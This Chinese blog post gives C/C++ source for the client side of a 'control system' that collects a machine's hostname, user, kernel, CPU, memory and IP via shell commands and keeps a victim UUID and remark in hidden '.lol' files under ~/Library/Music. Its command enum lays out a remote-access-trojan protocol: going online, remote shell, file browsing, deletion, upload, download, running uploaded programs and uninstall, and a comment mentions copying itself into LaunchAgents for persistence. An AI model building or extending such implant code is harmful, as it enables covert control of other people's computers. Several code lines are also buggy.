windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:比如 苹果达尔文内核的如下东西,linux里面就没有: //kern_return_t kr; //host_name_port_t myhost; // kernel_version_
控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:
比如
苹果达尔文内核的如下东西,linux里面就没有:
//kern_return_t kr;
//host_name_port_t myhost;
// kernel_version_t kversion;
// host_basic_info_data_t hinfo;
// mach_msg_type_number_t count;
char *cpu_type_name,*cpu_subtype_name;
// vm_size_t page_size;
// myhost = mach_host_self();
// kr = host_kernel_version(myhost, kversion);
// count = HOST_BASIC_INFO_COUNT;
// kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
// kr = host_page_size(myhost, &page_size); //
所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。
使用到的一些结构体跟宏定义:
// Created by mac mac on 13-5-8.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//
#ifndef mac_client_mac_h
#define mac_client_mac_h
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260 //保持和windows端定义的一样
#define MAX_PATH_MAC 256 //苹果的最大长度
#define FALSE 0
#define TRUE 1
#define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4
/
typedef struct Command //自定义命令结构体
{
int order;//命令序号
long datasize;
void * hwnd;//窗口句柄
}Command;
typedef struct Server_Address //服务器地址
{
char strIP[3][MAX_PATH];//服务器ip
unsigned int uPort[3] ; //服务器端口
char remark[MAX_NAME_LENGTH];
}Server_Address;
typedef struct _SYS_INFO //到时候得增加备注
{
Command cmd;
char remark[MAX_NAME_LENGTH]; //备注
char computer_name[MAX_NAME_LENGTH]; //
char user_name[MAX_NAME_LENGTH]; //
char sys_version[MAX_NAME_LENGTH]; //
char cpu_type[MAX_NAME_LENGTH]; //
char host_ip_address[MAX_NAME_LENGTH]; //内网ip
char ip_addresss[MAX_NAME_LENGTH]; //外网ip
char uuid[MAX_NAME_LENGTH]; //被控端的唯一标识
unsigned int cpu_num; //
unsigned int mem_total; //
int host_id; //
}SYS_INFO;
enum
{
COMMAND_BIGIN = 20000, //命令开始
TOKEN_ONLINE, //上线命令
COMMAND_BREAK, //断开链接
COMMAND_UNINSTALL, //卸载
COMMAND_MODIFY_REMARK, //修改备注
///
COMMAND_MANAGER_FILE, //打开文件管理窗口
COMMAND_GET_DIRECTORY, //获取控制端主机根目录下所有文件信息
COMMAND_GET_REQUEST_DIRECTORY, //获取双击请求目录中所有文件信息
COMMAND_SEARCH_FILE, //文件搜索,还没做
COMMAND_WRONG_DIRECTORY, //目录为空或者不可读
COMMAND_DELETE_FILE, //删除文件
COMMAND_FILE_CLOSE, //关闭当前文件管理功能的链接
//
COMMAND_MANAGER_CMD, //打开cmd管理窗口
TOKEN_CMD_NEXT, //等待下一个命令
COMMAND_SHELL, //控制端请求的shell命令
COMMAND_SHELL_CLOSE, //关闭shell
//
COMMAND_MANAGER_DOWNLOAD, //打开文件下载功能
TOKEN_DOWNLOAD_SETUP, //控制端发送文件下载连接和uuid
COMMAND_GET_FILEDATA, //请求文件数据
TOKEN_SENT_FILEDATA, //发送文件数据
TOKEN_CANT_GET_DATA, //给控制端发送消息文件不可读
COMMAND_MANAGER_UPLOAD, //开启文件上传
TOKEN_UPLOAD_SETUP, //接受文件上传连接
COMMAND_SENT_UPLOAD_DATA, //发送上传文件数据
TOKEN_UPLOAD_DATA, //请求上传文件数据
TOKEN_UPLOAD_COMPLETE, //文件上传完成
COMMAND_RUN_PROGARM, //上传运行的文件
COMMAND_UPLOAD_CLOSE, //关闭上传进程和连接
};
#endif
下面是代码:
Systeminfo.h
/*
* File: System_Info.h
* Author: Administrator
*
* Created on
*/
#ifndef SYSTEM_INFO_H
#define SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h> // for sockaddr_in
#include <sys/types.h> // for socket
#include <sys/socket.h> // for socket
#include <stdio.h> // for printf
#include <stdlib.h> // for exit
#include <netdb.h>
#include <pthread.h> //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h> //for bool
#include <iconv.h> //for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h> //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h> //honts, inet_addr
#include <ctype.h> //isdigit
#include <errno.h> //errno
#include <fcntl.h> //OWRONLY
#include <unistd.h>
#include <pwd.h> //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h>
#include <sys/mount.h>
using namespace std;
int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO* si);//读取生成的uuid
char * readUuid();
void writeUuidInfo_info();
bool GetHost(char *domainName,char * ip);
char * readDirectory(char * directory);//上传文件的目录
int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息
#endif /* SYSTEM_INFO_H */
实现:
//
// SystemInfo.cpp
// mac_client
//
// Created by mac mac on 13-5-21.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
//
//#ifdef __cplusplus
//extern "C" {
//#endif
//#include <iostream>
#include "SystemInfo.h"
#include <stdlib.h>
int beizhuaccess = 0; //标志位,备注有没有改变
bool GetHost(char *domainName,char * ip)
{
int i;
struct hostent *he;
struct in_addr **addr_list;
//char * name = "www.csdn.net";
if ((he = gethostbyname(domainName)) == NULL)
{ // get the host info
herror("gethostbyname");
return NULL;
}
// print information about this host:
printf("Official name is: %s\n", he->h_name);
printf(" IP addresses: ");
addr_list = (struct in_addr **)he->h_addr_list;
for(i = 0; addr_list[i] != NULL; i++)
{
printf("%s ", inet_ntoa(*addr_list[i]));
sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
}
///return
printf("\n");
return ip;
}
void get_ip(SYS_INFO* si)
{
//char hname[128];
struct hostent *hent;
int i;
gethostname(si->host_ip_address, sizeof(si->host_ip_address));
//hent = gethostent();
hent = gethostbyname(si->host_ip_address);
printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
printf("%s\n",si->host_ip_address);
}
}
char * readDirectory(char * directory)
{
char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));
struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
//char path[MAX_NAME_LENGTH];
sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(directory,zhuliuPath,login_name);
return directory;
}
char * readUuid()
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC);
char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));
struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/uuid.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp);
return uuid;
}
char * readUuidInfo(SYS_INFO* si)
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC);
char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));
struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
//
sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/uuid.lol");
FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp);
strcat(si->uuid, uuid);
return uuid;
}
void writeBeizhuInfo(char *beizhu)
{
char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));
struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0};
sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/beizhu.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "w");
fputs(beizhu,fp);
//strcpy(si->remark, beizhu);
//}
fclose(fp);
}
int myexec(const char *cmd, string &resvec)
{
resvec.clear();
FILE *pp = popen(cmd, "r"); //建立管道
if (!pp)
{
return -1;
}
char tmp[1024]; //设置一个合适的长度,以存储每一行输出
while (fgets(tmp, sizeof(tmp), pp) != NULL)
{
if (tmp[strlen(tmp) - 1] == '\n')
{
tmp[strlen(tmp) - 1] = '\0'; //去除换行符
}
resvec.append(tmp);
}
pclose(pp); //关闭管道
return resvec.size();
}
void writeUuidInfo_info()
{
FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
char buffer[MAX_NAME_LENGTH] = {0};
while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
{
printf(buffer);
}
//fclose(fp);
char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char));
struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0};
sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
//*
// int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
// if(IsHave<0)//创建新目录
//{
// printf("mkdir failed\n");
// exit(0);
// }
string str_mkdir = "mkdir -p ";
str_mkdir.append(path);
string str_mkdir_result;
myexec(str_mkdir.c_str(),str_mkdir_result);
strcat(path, "/uuid.lol");
FILE *fpf = fopen(path, "w");
int i = fputs(buffer,fpf);
fclose(fpf);
pclose(fp);
}
int GetDeviceInfo(SYS_INFO *si)
{
char temp[64]={0};
gethostname(si->computer_name,sizeof(si->computer_name));
struct passwd *passwd;
passwd = getpwuid (getuid());
struct group *group;
group = getgrgid (passwd->pw_gid);
sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name);
string str_kernel;
myexec("uname -sr",str_kernel);
cout<<str_kernel<<endl;
strcat(si->sys_version,str_kernel.c_str());
string str_cpu;
myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
cout<<str_cpu<<endl;
strcat(si->cpu_type,str_cpu.c_str());
puts(si->computer_name);
struct hostent *hent;
int i;
gethostname(si->host_ip_address, sizeof(si->host_ip_address));
hent = gethostent();
//hent = gethostbyname(si->host_ip_address);
printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
}
printf("%s\n",si->host_ip_address);
string str_mem_total;
myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
cout<<str_mem_total<<endl;
si->mem_total = atoi(str_mem_total.c_str());
// strcat(si->cpu_type,str_cpu.c_str());
printf("%s\n",si->user_name);
printf("%s\n",si->sys_version);
printf("%s\n",si->cpu_type);
printf("cpu:%d\n",si->cpu_num);
printf("memory:%d\n",si->mem_total);
///读备注文件//
char path[MAX_PATH] = {0};
char beizhu[MAX_PATH_MAC] = {0};
sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
//sprintf(path,zhuliuPath,passwd->pw_name);
strcat(path, "/beizhu.lol");
if (access(path,0)==0)
{
FILE *fp = fopen(path, "r");
fgets(beizhu,MAX_NAME_LENGTH,fp);
fclose(fp);
beizhuaccess = 1;
strcpy(si->remark, beizhu);
}
else
{
strcpy(si->remark, "default");
}
///读取uuid
char uuidPath[MAX_PATH] = {0};
sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
strcat(uuidPath, "/uuid.lol");
if (access(uuidPath,0)==0)
{
readUuidInfo(si);
}
else
{
writeUuidInfo_info();
readUuidInfo(si);
}
/
return 0;
}
//#ifdef __cplusplus
//}
//#endif
搭建传输的socket平台参考下面博文:
http://blog.csdn.net/wangyaninglm/article/details/41940287
实现效果:
更多推荐
所有评论(0)